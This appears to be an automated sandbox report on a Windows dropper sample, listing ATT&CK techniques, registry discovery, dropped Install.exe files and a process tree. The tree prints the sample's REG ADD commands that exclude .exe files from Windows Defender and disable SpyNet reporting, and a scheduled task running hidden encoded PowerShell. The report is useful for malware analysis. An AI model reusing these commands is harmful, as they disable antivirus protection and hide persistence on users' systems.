f1eb36cc79b06d03f3d069f065fc098d7d7bea3f53b7df64a32c31896b15892f

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation	Install.exe

Executes dropped EXE 2 IoCs

pid	Process
1848	Install.exe
772	Install.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4372	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3308	powershell.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3308	powershell.EXE

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 1964 wrote to memory of 1848	1964	f1eb36cc79b06d03f3d069f065fc098d7d7bea3f53b7df64a32c31896b15892f.exe	89
PID 1964 wrote to memory of 1848	1964	f1eb36cc79b06d03f3d069f065fc098d7d7bea3f53b7df64a32c31896b15892f.exe	89
PID 1964 wrote to memory of 1848	1964	f1eb36cc79b06d03f3d069f065fc098d7d7bea3f53b7df64a32c31896b15892f.exe	89
PID 1848 wrote to memory of 772	1848	Install.exe	90
PID 1848 wrote to memory of 772	1848	Install.exe	90
PID 1848 wrote to memory of 772	1848	Install.exe	90
PID 772 wrote to memory of 3432	772	Install.exe	92
PID 772 wrote to memory of 3432	772	Install.exe	92
PID 772 wrote to memory of 3432	772	Install.exe	92
PID 772 wrote to memory of 3164	772	Install.exe	94
PID 772 wrote to memory of 3164	772	Install.exe	94
PID 772 wrote to memory of 3164	772	Install.exe	94
PID 3432 wrote to memory of 440	3432	forfiles.exe	96
PID 3432 wrote to memory of 440	3432	forfiles.exe	96
PID 3432 wrote to memory of 440	3432	forfiles.exe	96
PID 3164 wrote to memory of 1660	3164	forfiles.exe	97
PID 3164 wrote to memory of 1660	3164	forfiles.exe	97
PID 3164 wrote to memory of 1660	3164	forfiles.exe	97
PID 440 wrote to memory of 1576	440	cmd.exe	98
PID 440 wrote to memory of 1576	440	cmd.exe	98
PID 440 wrote to memory of 1576	440	cmd.exe	98
PID 1660 wrote to memory of 2104	1660	cmd.exe	99
PID 1660 wrote to memory of 2104	1660	cmd.exe	99
PID 1660 wrote to memory of 2104	1660	cmd.exe	99
PID 440 wrote to memory of 2956	440	cmd.exe	100
PID 440 wrote to memory of 2956	440	cmd.exe	100
PID 440 wrote to memory of 2956	440	cmd.exe	100
PID 1660 wrote to memory of 4212	1660	cmd.exe	101
PID 1660 wrote to memory of 4212	1660	cmd.exe	101
PID 1660 wrote to memory of 4212	1660	cmd.exe	101
PID 772 wrote to memory of 4372	772	Install.exe	102
PID 772 wrote to memory of 4372	772	Install.exe	102
PID 772 wrote to memory of 4372	772	Install.exe	102
PID 772 wrote to memory of 2268	772	Install.exe	104
PID 772 wrote to memory of 2268	772	Install.exe	104
PID 772 wrote to memory of 2268	772	Install.exe	104

C:\Users\Admin\AppData\Local\Temp\f1eb36cc79b06d03f3d069f065fc098d7d7bea3f53b7df64a32c31896b15892f.exe
"C:\Users\Admin\AppData\Local\Temp\f1eb36cc79b06d03f3d069f065fc098d7d7bea3f53b7df64a32c31896b15892f.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1964
- C:\Users\Admin\AppData\Local\Temp\7zSD764.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1848
- - C:\Users\Admin\AppData\Local\Temp\7zSDCD3.tmp\Install.exe
    .\Install.exe /WHdidSvJD "385118" /S
    3⤵
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:772
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3432
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:440
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:1576
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:2956
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3164
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1660
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:2104
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:4212
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gzHvnjxQp" /SC once /ST 13:20:09 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:4372
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gzHvnjxQp"
      4⤵
      PID:2268

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3308

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Scheduled Task/Job

Privilege Escalation

Scheduled Task/Job

Defense Evasion

Credential Access

Discovery

Query Registry

System Information Discovery